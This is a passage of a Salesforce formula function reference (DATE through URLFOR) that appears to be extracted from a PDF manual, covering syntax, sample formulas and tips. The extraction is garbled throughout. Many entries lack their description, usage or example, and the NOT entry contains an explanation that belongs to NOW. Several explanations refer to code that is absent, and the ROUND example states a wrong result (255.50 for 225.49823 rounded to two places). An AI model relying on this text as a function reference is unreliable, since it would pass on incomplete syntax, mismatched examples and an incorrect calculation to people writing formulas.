see if a multi-select picklist has a specific value.
DATE
Description:
Returns a date value from year, month, and day values you enter. Salesforce displays an error
on the detail page if the value of the DATE function in a formula field is an invalid date,
such as February 29 in a non-leap year.
Use:
DATE(year,month,day) and replace year with a four-digit year, month with a two-digit
month, and day with a two-digit day.
Example:
DATEVALUE
Description:
Use:
field, or expression.
Example:
Closed Date
DATEVALUE(ClosedDate) displays a date field based on the value of the Date/Time
Closed field.
Tips:
If the field referenced in the function is not a valid text or date/time field, the formula
field displays #ERROR!
When entering a date as a literal value, surround the date with quotes and use the following
format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day.
If the expression does not match valid date ranges, such as the MM is not between
01 and 12, the formula field displays #ERROR!
Dates and times are always calculated using the users time zone.
1217
Customize
DATETIMEVALUE
Description:
Use:
Closed Date
DATETIMEVALUE(ClosedDate) displays a date field based on the value of the Date/Time
Closed field.
DATETIMEVALUE is always calculated using GMT time zone and can't be changed.
When entering a date as a literal value, surround the date with quotes and use the following
format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day.
If the expression does not match valid date ranges, such as the MM is not between
01 and 12, the formula field displays #ERROR!
DAY
Description:
Returns a day of the month in the form of a number between 1 and 31.
Use:
DAY(date) and replace date with a date field or value such as TODAY().
Example:
DAY(Code_Freeze__c) returns the day in your custom code freeze date. Note this does
EXP
Description:
Use:
Example:
This formula calculates the compound interest based on a custom currency field for principal,
custom percent field for rate, and custom number field for years.
FIND
Description:
1218
Customize
Use:
right.
Example:
Street Address
FIND(" ", Street) returns the character position of the first space in the Street field.
You can use this number to find out the length of the street address as a means of separating
a street address from street name in an address field.
Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the
location of the @ sign in a person's email address to determine the length of text to replace
with a www. as a means of deriving their website address.
Tips:
Be sure to remove the brackets, [ and ], from your formula before validating it.
If the field referenced in your text parameter is blank, the formula field displays 0.
Your search_text parameter is case sensitive and cannot contain any wildcard characters.
If your search does not return any results, a 0 displays in the field.
The start_num parameter is optional. If you do not enter a start_num value, the
formula uses the value one, or the first character in the string.
If your start_num is not greater than zero, a 0 displays in the field.
If your start_num is greater than the length of the text, a 0 displays in the field.
When entering your start_num parameter, remember that some fields like the Website
field are unique because a http:// is automatically appended to the beginning of the text
you enter.
Note that the first character in a string is designated as one rather than zero.
FLOOR
Description:
Use:
FLOOR(number) and replace number with a number field or value such as 5.245.
Example:
Commission Amounts
FLOOR(commission__c) rounds commission down to the nearest integer.
Contact's Age
FLOOR((TODAY()-Birthdate)/365.2425)
Use this formula to calculate a persons age based on a standard field called Birthdate. The
persons Birthdate is subtracted from todays date, which returns the number of days since
the persons Birthdate. This number is divided by the number of days in a year and rounded
down to the nearest integer.
GETRECORDIDS
Description:
Returns an array of strings in the form of record IDs for the selected records in a list, such
as a list view or related list.
1219
Customize
Use:
In this example, all selected case records are updated with a Status of New. To set this
up in your organization, create a custom list button for cases with the following attributes:
Paste the sample code above into the content of your custom button. Finally, add the list
button to the a page layout that contains the Cases related list, such as accounts or
opportunities. Users can select any number of cases in the related list and click the list button
to change the status of those cases at once. Notice the check for records[0] == null,
which displays a message to users when they do not select at least one record in the list.
Tips:
Use global variables to access special merge fields for s-controls, custom buttons, and
links.
Activities are special types of objects. Use {!GETRECORDIDS($ObjectType.Task)}
when creating a task list button. Use {!GETRECORDIDS($ObjectType.Event)} when
creating an event list button.
This function is only available in custom buttons, links, and s-controls.
GETSESSIONID
Description:
Use:
GETSESSIONID()
1220
Customize
Example:
HYPERLINK
("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create
a Meeting Request")
creates a link to an application outside of Salesforce, passing the parameters so that it can
connect to Salesforce via the API and create the necessary event.
HTMLENCODE
Description:
Encodes text and merge field values for use in HTML by replacing characters that are reserved
in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as >.
Use:
{!HTMLENCODE(text)} and replace text with the merge field or text string that contains
Tips:
HYPERLINK
Description:
Creates a link to a URL specified that is linkable from the text specified.
Use:
HYPERLINK(url, friendly_name [,target]) and replace url with the Web address,
replace friendly_name with the link text, and, optionally, replace target with the window
Creating Events
HYPERLINK("00U/e?
retURL=%2F006x0000001T8Om&what_id="
& Id,
"Create Event")
adds a link called Create Event that, when clicked, creates a new event that is associated
with the current object.
Phone Dialer
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone,
Phone)creates a linkable phone number field that automatically dials the phone number
when clicked. In this example, replace "servername" and "call" with the name of your
dialing tool and the command it uses to dial. The merge field, Id, inserts the identifier for
the contact, lead, or account record. The first Phone merge field tells the dialing tool what
number to call and the last Phone merge field uses the value of the Phone field as the linkable
1221
Customize
Avoid using text functions such as LEN, LEFT, or RIGHT on HYPERLINK function
results.
When linking to Salesforce pages, use a relative link, such as 00U/e?retURL=%..., for
hyperlink formulas unless you want to add the formula field to a search layout. Use the
complete URL, including the server name and https://, in a hyperlink formula to add it
to a search layout. Note that formula fields are not available in search result layouts.
Use the $Api variable to reference API URLs.
Be sure to remove the brackets, [ and ], from your formula before validating it.
The target parameter is optional. If you do not specify a target, the link opens in a
new browser window. Some common target parameters are:
_blank
Displays link in a new unnamed window.
_self
Displays link in the same frame or window as the element that refers to it.
_parent
Displays link in the immediate frameset parent of the current frame. This value is
the same as _self if the current frame has no parent.
_top
Displays link in the full original window, canceling any other frames. This value is
the same as _self if the current frame has no parent.
For more information on basic HTML tags, consult an HTML reference on the Internet.
The HYPERLINK function is available everywhere that you can define a formula except
default values, field updates, s-controls, validation rules, approval processes, custom
buttons and links, and workflow rules.
IF
Description:
Determines if expressions are true or false. Returns a given value if true and another value if
false.
Use:
Overdue Payments
IF(AND(Payment_Due_Date__c < TODAY(),Payment_Status__c ="UNPAID")
, "PAYMENT OVERDUE", null)
This formula determines if the payment due date is past and the payment status is UNPAID.
If so, returns the text PAYMENT OVERDUE and if not, leaves the field blank. This
example uses a custom date field called Payment Due Date and a text custom field called
Payment Status.
Insert Tax Rate
1222
Customize
Use this default value formula to set the tax rate of an asset based on the user's city. Create
a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)
This example uses the IF function to determine if an address is in the United States or United
Kingdom so that it can use the appropriate type of Google map to display the address.
Tips:
Make sure your value_if_true and value_if_false expressions are the same data
type.
When using an IF function with the $Profile.UserType variable to determine the type
of Salesforce user license the logged in user has, use the following values:
For example, use the following formulas to determine if the logged in user has the license
type in quotes:
IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)
Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.
1223
Customize
IMAGE
Description:
Use:
to appear when the image cant be rendered for some reason, and which can be used by screen
reader software; replace height with the vertical size of the image in pixels; replace width
with the horizontal size of the image in pixels.
Example:
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged
on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with
the person. This example uses a custom text field called Yahoo Name on contacts where you
can store the contact's Yahoo! Messenger ID.
Tips:
INCLUDE
Description:
Returns content from an s-control snippet. Use this function to reuse common code in many
s-controls.
Use:
{!INCLUDE(source, [inputs])} and replace source with the s-control snippet you
want to reference. Replace inputs with any information you need to pass to the snippet.
S-Control Example:
This example references a snippet that provides a header for a page that you created to display
in a Web tab. It displays the page title My Title. Use the $SControl global variable to
reference a custom s-control.
1224
Customize
This snippet requires two input parameters: titleTheme and titleText. It is a reusable
HTML tag that presents a page title and theme based on input parameters. Next, create an
s-control that includes this snippet:
<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My Sample Title"]) }
... Insert your page specific content here ...
</body>
</html>
This s-control uses the snippet titled Title_Snippet to display the title of the page My
Sample Title and modern theme. Replace Insert your page specific content
here with your own HTML content and use the s-control as the source of a Web tab to
create your own pages in Salesforce.
Tips:
Because this function references an s-control snippet and does not copy it, it always runs
the latest content of the s-control snippet. Remember when making a change to your
s-control snippet that it affects all INCLUDE functions that refer to it.
Use the $Request global variable to access any information inside the snippet.
This function is only available in custom buttons, links, and s-controls.
INCLUDES
Description:
Determines if any value selected in a multi-select picklist field equals a text literal you specify.
Use:
Examples:
Tips:
The text_literal expression must be of type text and enclosed in quotes. It cannot
be a merge field or the result of a function.
Salesforce returns an error if any of the following occurs:
You do not provide a text_literal expression.
You provide an empty text_literal expression, such as "" or " ".
1225
Customize
Use the PRIORVALUE function inside the INCLUDES function to check if the previous
value of a multi-select picklist field included a specific value. For example:
INCLUDES(
PRIORVALUE(multiselect_picklist_field),
text_literal
)
ISBLANK
Description:
Determines if an expression has a value and returns TRUE if it does not. If it contains a
value, this function returns FALSE.
Use:
ISBLANK(expression) and replace expression with the expression you want evaluated.
Example:
(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5
This formula takes a group of fields and calculates what percent of them are being used by
your personnel. This formula field checks five fields to see if they are blank. If so, a zero is
counted for that field. A 1 is counted for any field that contains a value and this total is
divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the
Advanced Formula subtab is showing.
Tips:
Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same
functionality as ISNULL, but also supports text fields. Salesforce will continue to support
ISNULL, so you do not need to change any existing formulas.
A field is not empty if it contains a character, blank space, or zero. For example, a field
that contains a space inserted with the spacebar is not empty.
Use the BLANKVALUE function to return a specified string if the field does not have
a value; use the ISBLANK function if you only want to check if the field has a value.
If you use this function with a numeric field, the function only returns TRUE if the field
has no value and is not configured to treat blank fields as zeroes.
ISCHANGED
Description:
Compares the value of a field to the previous value and returns TRUE if the values are
different. If the values are the same, this function returns FALSE.
Use:
ISCHANGED(field) and replace field with the name of the field you want to compare.
The following validation rule prevents users from changing an object name after it has been
created: NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, Low))) is a validation
rule that ensures if a user changes the Priority of a case, the new priority cannot be Low.
1226
Customize
to a date outside of the current month and year unless that user has the Sales Manager
profile.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer
Editions.
Tips:
Assignment rules
Validation rules
Field updates
Workflow rules if the trigger type is set to Every time a record is created
or edited.
Use the NOT function to reverse the return values of TRUE and FALSE.
This function returns FALSE when evaluating any field on a newly created record.
If a text field was previously blank, this function returns TRUE when it contains any
value.
For number, percent, or currency fields, this function returns TRUE when:
The field was blank and now contains any value
The field was zero and now is blank
The field was zero and now contains any other value
ISNEW
Description:
Checks if the formula is running during the creation of a new record and returns TRUE if
it is. If an existing record is being updated, this function returns FALSE.
Use:
ISNEW()
Use the following validation rule to prevent users from creating a record with a close date in
the past. AND (ISNEW(), CloseDate < TODAY()) checks if the user is creating a new
opportunity and, if so, ensures that the Close Date is today or after today.
Use this validation rule to ensure users add at least one product to an opportunity after they
have created it.
NOT(OR(ISNEW(),HasOpportunityLineItem))
In this example, the validation rule formula displays the following error message when an
existing opportunity does not have any products: You must add products to this opportunity
before saving. This does not display an error on the initial save because they cannot add
products until after saving the record initially; but it prevents them from resaving or closing
an opportunity that does not contain products.
Tips:
This function is available only in validation rules, field updates, workflow rules, and
assignment rules.
1227
Customize
Use the NOT function to reverse the return values of TRUE and FALSE.
This function always returns FALSE when used in a workflow rule with a time-based
trigger.
This function always returns FALSE when used in a field update for an approval action.
ISNULL
Description:
Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value,
this function returns FALSE.
Note: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the
same functionality as ISNULL, but also supports text fields. Salesforce will continue
to support ISNULL, so you do not need to change any existing formulas.
Use:
ISNULL(expression) and replace expression with the expression you want evaluated.
Example:
(IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +
IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5
This formula takes a group of fields and calculates what percent of them are being used by
your personnel. This formula field checks five fields to see if they are blank. If so, a zero is
counted for that field. A 1 is counted for any field that contains a value and this total is
divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the
Advanced Formula subtab is showing.
Validation Rule Example:
AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))
This validation rule makes the Project Start Date custom date field conditionally
required whenever the stage is Closed Won.
Tips:
Text fields are never null, so using this function with a text field always returns false. For
example, the formula field IF(ISNULL(new__c) 1, 0) is always zero regardless of
the value in the New field. For text fields, use the ISBLANK function instead.
Multi-select picklist fields are never null in s-controls, buttons, and email templates, so
using this function with a multi-select picklist field in those contexts always returns false.
Empty date and date/time fields always return true when referenced in ISNULL functions.
Choose Treat blank fields as blanks for your formula when referencing a
number, percent, or currency field in an ISNULL function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero so none of them will be null.
Merge fields can be handled as blanks, which can affect the results of components like
s-controls because they can call this function.
When using a validation rule to ensure that a number field contains a specific value, use
the ISNULL function to include fields that do not contain any value. For example, to
1228
Customize
validate that a custom field contains a value of '1,' use the following validation rule to
display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)
ISNUMBER
Description:
Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns
FALSE.
Use:
ISNUMBER(text) and replace text with the merge field name for the text field.
This validation rule ensures a custom text field called Bank Account Number is a number
of 10 digits and is not blank.
Tips:
ISPICKVAL
Description:
Determines if the value of a picklist field is equal to a text literal you specify.
Use:
Examples:
Contract Activation
IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate, null) calculates
the number of days since the contract was activated. If the contract status is not Activated,
this field is blank.
Commission Amounts
IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)
This example calculates the commission amount for any opportunity that has a Closed Won
stage. The value of this field will be the amount times 0.02 for any closed/won opportunity.
Open or lost opportunities will have a zero commission value.
1229
Customize
Competitor-Triggered Workflow
ISPICKVAL(Stage, Closed Lost) && INCLUDES(Competitor__c, Acme)
This formula in a workflow rule configures Salesforce to trigger the associated workflow
actions if the Competitor multi-select picklist field on a lost business is Acme.
Tips:
JSENCODE
Description:
Encodes text and merge field values for use in JavaScript by inserting escape characters, such
as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
Use:
{!JSENCODE(text)} and replace text with the merge field or text string that contains
Tips:
JSINHTMLENCODE
Description:
Encodes text and merge field values for use in JavaScript within HTML tags by inserting
escape characters before unsafe JavaScript characters and replacing characters that are reserved
in HTML with HTML entity equivalents.
Use:
{!JSINHTMLENCODE(text)} and replace text with the merge field or text string that
Tips:
1230
Customize
LEFT
Description:
Returns the specified number of characters from the beginning of a text string.
Use:
LEFT(text, num_chars) and replace text with the field or expression you want returned;
replace num_chars with the number of characters from the left you want returned.
Example:
This formula displays the first five characters ofta name and the last four characters of a social
security number separated by a dash. Note that this example uses a text custom field called
SSN.
Tips:
LEN
Description:
Use:
LEN(text) and replace text with the field or expression whose length you want returned.
Example:
LEN(PartNumber__c)
LINKTO
Description:
Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control
or Salesforce page.
Use:
Inputs are optional and can include any additional parameters you want to add to the link.
The no override argument is also optional and defaults to false. It applies to targets for
standard Salesforce pages such as $Action.Account.New. Replace no override with true
when you want to display a standard Salesforce page regardless of whether you have defined
an override for it elsewhere.
S-Control Example:
This example allows users to click a link to create a new account. It is useful in account list
views or Web tabs where you want users to create an account directly from that page. Use
the $Action global variable to access the new account page in Salesforce.
1231
Customize
Use this example to generate a page containing a hyperlink labeled Check for duplicates.
When users click this link, Salesforce runs your custom s-control. This example assumes you
have already created a custom s-control to find duplicate accounts and merge their information.
Tips:
Avoid using this function in an inline s-control if you want it to open in a new window.
Enclose multiple inputs in brackets to indicate they are together:
{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A",
parm2="B"])}
Set inputs to null if you do not have any to pass yet you want to set the no override
argument:
{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}
When you override the tab home page for a standard or custom tab, set target to the
Tab $Action global variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab, $ObjectType.Account)
LN
Description:
Returns the natural logarithm of a specified number. Natural logarithms are based on the
constant e value of 2.71828182845904.
Use:
LN(number) and replace number with the field or expression for which you want the natural
1232
Customize
LOG
Description:
Use:
LOG(number) and replace number with the field or expression from which you want the
Salary
LOG(Salary__c) calculates the logarithm of a persons salary. In this example, Salary is
LOWER
Description:
Converts all letters in the specified text string to lowercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.
Use:
LOWER(text, [locale]) and replace text with the field or text you wish to convert to
lowercase, and locale with the optional two-character ISO language code or five-character
locale code, if available. For information on supported languages, see What languages does
Salesforce support? on page 3513.
Example:
MYCOMPANY.COM
LOWER("MYCOMPANY.COM") returns mycompany.com.
Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol in lower case characters.
This ensures that Salesforce does not transform any dotted i in the text to a dotless I.
LPAD
Description:
Use:
text is the field or expression you want to insert characters to the left of.
padded_length is the number of total characters in the text that will be returned.
pad_string is the character or characters that should be inserted. pad_string is
1233
Customize
If the value in text is longer than pad_string, text is truncated to the size of
padded_length.
Example:
My_Company: No Change
LPAD('my_company.com', 14, 'z') returns my_company.com without change
Tips:
MAX
Description:
Use:
MAX(number, number,...) and replace number with the fields or expressions from which
Service Charge
MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)
In this example, the formula field calculates a service charge of 6% of the total cost or a
minimum service charge, whichever is greater. Note that Min Service Charge is a custom
currency field with a default value of $15. However, you could make it a formula field if your
minimum service charge is always the same amount.
Book Royalties
MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)
This formula determines which amount to pay in royalties for a book. It displays the greater
of two amounts: $0.07 for each book sold or $0.10 per page. It assumes you have custom
number fields for Pages and Total Sold and a custom currency field for Retail Price.
Commissions
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)
This formula determines what commission to log for an asset based on which is greater: the
user's commission percentage of the price, the price times the discount percent stored for the
account or 100 dollars. This example assumes you have two custom percent fields on users
and assets.
1234
Customize
MID
Description:
Returns the specified number of characters from the middle of a text string given the starting
position.
Use:
MID(text, start_num, num_chars) and replace text with the field or expression to
use when returning characters; replace start_num with the number of characters from the
left to use as a starting position; replace num_chars with the total number of characters to
return.
Example:
the third character from the left. On a user record, this represents the department code.
MIN
Description:
Use:
MIN(number, number,...) and replace number with the fields or expressions from which
401K Matching
MIN(250, Contribution__c /2)
This example formula determines which amount to provide in employee 401K matching
based on a matching program of half of the employee's contribution or $250, whichever is
less. It assumes you have custom currency field for Contribution.
Bonus
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)
This example determines an employee's bonus amount based on the smallest of two amounts:
the employee's gross times bonus percent or an equally divided amount of the company's
performance amount among all employees. It assumes you have custom number field for
Number of Employees, a custom percent field for Bonus Percent, and currency custom
fields for the employee's Gross and company's Performance.
MOD
Description:
Use:
MOD(number, divisor) and replace number with the field or expression you want divided;
replace divisor with the number to use as the divisor.
Example:
MOD(3, 3) returns 0
MOD(4, 3) returns 1
MOD(123, 100) returns 23
1235
Customize
You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use the
following example to apply a validation rule to a custom date field calledMy Date.
CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0
This example displays the following error message when the value of My Date is not Monday
through Friday: My Date is not a weekday.
MONTH
Description:
Returns the month, a number between 1 (January) and 12 (December) in number format of
a given date.
Use:
MONTH(date) and replace date with the field or expression for the date containing the
SLA Expiration
MONTH(SLAExpirationDate__c) returns the month that your service-level agreement
expires. This example uses a custom date field called SLA Expiration Date.
Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the month
NOT
Description:
Use:
NOT(logical) and replace logical with the expression that you want evaluated.
Example:
open by subtracting the date and time created from the current date and time. The result is
the number of days open rounded to zero decimal places. If the variable is not open, this field
is blank.
NOW
Description:
Use:
NOW()
Example:
This formula checks to see if a lead is open and if so, calculates the number of days it has
been open by subtracting the date and time created from the current date and time. The
result is the number of days open rounded to zero decimal places. If the lead is not open, this
field is blank.
1236
Customize
Tips:
NULLVALUE
Description:
Determines if an expression is null (blank) and returns a substitute expression if it is. If the
expression is not blank, returns the value of the expression.
Note: Use BLANKVALUE instead of NULLVALUE in new formulas.
BLANKVALUE has the same functionality as NULLVALUE, but also supports
text fields. Salesforce will continue to support NULLVALUE, so you do not need
to change existing formulas.
Use:
This formula returns the date five days after the start date whenever Sample Due Date is
blank. Sample Due Date is a custom date field.
Tips:
Avoid using this function with text fields because they are never null even when they are
blank. Instead, use the BLANKVALUE function to determine if a text field is blank.
Choose Treat blank fields as blanks for your formula when referencing a
number, percent, or currency field in a NULLVALUE function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero so none of them will be null.
Use the same data type for both the expression and substitute_expression.
OR
Description:
Determines if expressions are true or false. Returns TRUE if any expression is true. Returns
FALSE if all expressions are false. Use this function as an alternative to the operator || (OR).
Use:
OR(logical1, logical2...) and replace any number of logical references with the
1237
Customize
This formula returns the number of days a case has been open if the Status is new or the
Priority is high. If the case was opened today, this field displays a zero.
Validation Rule Example:
OR(Sample_Rate__c < 0, Sample_Rate__c > 0.40)
This validation rule formula displays the following error message when the Sample Rate
custom field is not between 0 and 40%: SampleRate cannot exceed 40%.
PARENTGROUPVAL
Description:
This function returns the value of a specified parent grouping. A parent grouping is any
level above the one containing the formula. You can only use this function in custom summary
formulas for reports.
Use:
This formula calculates, for each product, its relative size compared to the grand total. In
this example, the report is a summary of opportunities and their products, grouped by
Product Name.
PREVGROUPVAL
Description:
This function returns the value of a specified previous grouping. A previous grouping is
one that comes before the current grouping in the report. Choose the grouping level and
increment. The increment is the number of columns or rows before the current summary.
The default is 1; the maximum is 12. You can only use this function in custom summary
formulas for reports.
1238
Customize
Use:
PREVGROUPVAL(summary_field, grouping_level [, increment])
This formula calculates, for each month, the difference in amount from the previous month
shown in the report. In this example, the report is an opportunity matrix with columns
grouped by Close Date and rows by Stage.
PRIORVALUE
Description:
Use:
PRIORVALUE(field)
The following validation rule prevents users from changing the expected revenue of an
opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed).
Tips:
Assignment rules
Validation rules
Field updates
Workflow rules if the trigger type is set to Every time a record is created
or edited.
Use the PRIORVALUE function inside the INCLUDES function to check if the previous
value of a multi-select picklist field included a specific value. For example:
INCLUDES(
PRIORVALUE(multiselect_picklist_field),
text_literal
)
1239
Customize
REGEX
Description:
Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise,
it returns FALSE. A regular expression is a string used to describe a format of a string
according to certain syntax rules.
Use:
REGEX(text, regex_text) and replace text with the text field, and regex_text with
This example ensures that a custom field called SSN matches a regular expression representing
a valid social security number format of the form 999-99-9999.
NOT(
OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)
Tips:
If you use the regular expression, Marc Benioff, the only string that this regular
expression will match is:
Marc Benioff
REQUIRESCRIPT
Description:
Returns a script tag with source for a URL you specify. Use this function when referencing
the Force.com AJAX Toolkit or other JavaScript toolkits.
Use:
{!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.
1240
Customize
Returns:
<script src="/soap/ajax/13.0/connection.js"></script>
For Dojo:
{!requireScript("/js/dojo/0.3.1/dojo.js")}
Returns:
<script src="/js/dojo/0.3.1/dojo.js"></script>
This example sets the Status of a case to New whenever a user clicks a custom button
from the case detail page. To set this up in your organization, define a custom button for
cases that has the following attributes:
Next, paste the content above into your custom button definition and add it to your case
page layouts.
Tips:
RIGHT
Description:
Returns the specified number of characters from the end of a text string.
Use:
RIGHT(text, num_chars) and replace text with the field or expression you want returned;
replace num_chars with the number of characters from the right you want returned.
Example:
characters of the a name and the last four characters of asocial security number separated by
a dash. Note that this assumes you have a text custom field called SSN.
Tips:
1241
Customize
ROUND
Description:
Returns the nearest number to a number you specify, constraining the new number by a
specified number of digits.
Use:
ROUND(number, num_digits) and replace number with the field or expression you want
rounded; replace num_digits with the number of decimal places you want to consider when
rounding.
Example:
ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50
Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)
Use this formula to calculate the discounted amount of an opportunity rounded off to two
digits. This example is a number formula field on opportunities that uses a custom percent
field called Discount Percent.
Tips:
RPAD
Description:
Use:
text is the field or expression after which you want to insert characters.
pad_length is the number of total characters in the text string that will be returned.
pad_string is the character or characters that should be inserted. pad_string is
My_Company: No Change
1242
Customize
Tips:
SQRT
Description:
Use:
SQRT(number) and replace number with the field or expression you want computed into a
square root.
Example:
Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing the
amplitude of an earthquake.
Tips:
Calculating the square root of a negative number results in an error on the detail page.
Avoid division by zero errors by including an IF function such as: IF(Amplitude__c
>= 0, SQRT(Amplitude__c), null).
SUBSTITUTE
Description:
Use:
SUBSTITUTE(text, old_text, new_text) and replace text with the field or value
for which you want to substitute values, old_text with the text you want replaced, and
new_text with the text you want to replace the old_text.
Example:
contains the term Coupon with the opportunity name plus Discount wherever the term
Coupon existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the
location of the @ sign in a person's email address to determine the length of text to replace
with a www. as a means of deriving their website address.
Tips:
1243
Customize
TEXT
Description:
Converts a percent, number, date, date/time, or currency type field into text anywhere formulas
are used. Also, converts picklist values to text in validation rules, formula fields, and field
updates.
Use:
TEXT(value) and replace value with the field or expression you want to convert to text
format. Avoid using any special characters besides a decimal point (period) or minus sign
(dash) in this function.
Example:
This formula multiplies the first five numbers of the Quantity picklist by the Unit numeric
field.
Compare Two Picklists
IF(TEXT(bug_status) = TEXT(case_status), Match, Out of Sync)
This formula compares the values of the bug_status picklist with values of the
case_status picklist.
Display Picklist Values From Parent Records
TEXT(Account.Industry)
This formula field on opportunities shows the industry of the associated account.
Concatenate Picklist Values
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)
This formula field on opportunities shows the industry and subindustry of the associated
account.
Validation Rule Examples:
the value Closed, such as Closed Won and Closed Lost. This validation rule formula
blocks users from saving changes to a closed opportunity.
Use Numeric Functions on Numeric Picklist Values
1244
Customize
VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five numbers
of the Quantity picklist by the Unit numeric field, and returns TRUE if the result is greater
than 10,000.
Directly Compare Two Picklists
TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status
picklist with values of the case_status picklist, and returns TRUE if they are equal.
Tips:
The returned text is not formatted with any currency, percent symbols, or commas.
Values are not sensitive to locale. For example, 24.42 EUR are converted into the number
24.42.
Percents are returned in the form of a decimal.
Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and two-digit
month and day.
Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where
YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH is the
two-digit hour, MM are the minutes, SS are the seconds, and Z represents the zero
meridian indicating the time is returned in UTC time zone.
Picklist fields are only supported in TEXT functions used in validation rule formulas,
formula fields, and field updates. In other formulas, use ISPICKVAL or CASE when
referencing a picklist field.
The TEXT function always returns picklist values in your organization's master language,
not the language of the current user.
TODAY
Description:
Use:
TODAY()
Example:
This example ensures that users cannot change the Sample Date to any date in the past.
Tips:
1245
Customize
Use addition and subtraction operators with a TODAY function and numbers to return
a date. For example TODAY() +5 calculates the date five days ahead of today. In this
example, the formula field data type is a date.
TRIM
Description:
Removes the spaces and tabs from the beginning and end of a text string.
Use:
TRIM(text) and replace text with the field or expression you want to trim.
Example:
for users that contains the first five characters of their last name and first character of their
first name separated by a dash.
UPPER
Description:
Converts all letters in the specified text string to uppercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.
Use:
UPPER(text, [locale]) and replace text with the field or expression you wish to convert
to uppercase, and locale with the optional two-character ISO language code or five-character
locale code, if available. For information on supported languages, see What languages does
Salesforce support? on page 3513.
Example:
MYCOMPANY.COM
UPPER("mycompany.com") returns MYCOMPANY.COM.
MYCOMPANY.COM 123
UPPER("Mycompany.com 123") returns MYCOMPANY.COM 123.
This ensures that any dotted i in the text does not transform to a dotless I.
URLENCODE
Description:
Encodes text and merge field values for use in URLs by replacing characters that are illegal
in URLs, such as blank spaces, with the code that represent those characters as defined in
RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are
replaced with %20, and exclamation points are replaced with %21.
Use:
{!URLENCODE(text)} and replace text with the merge field or text string that you want
to encode.
1246
Customize
Example:
Tips:
URLFOR
Description:
Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource
archive in a Visualforce page.
Use:
{!URLFOR(target, id, [inputs], [no override])} and replace target with the
URL or action, s-control, or static resource merge variable, id with a reference to the record,
and inputs with any optional parameters. The no override argument is also optional
and defaults to false. It applies to targets for standard Salesforce pages such as
$Action.Account.New. Replace no override with true when you want to display a
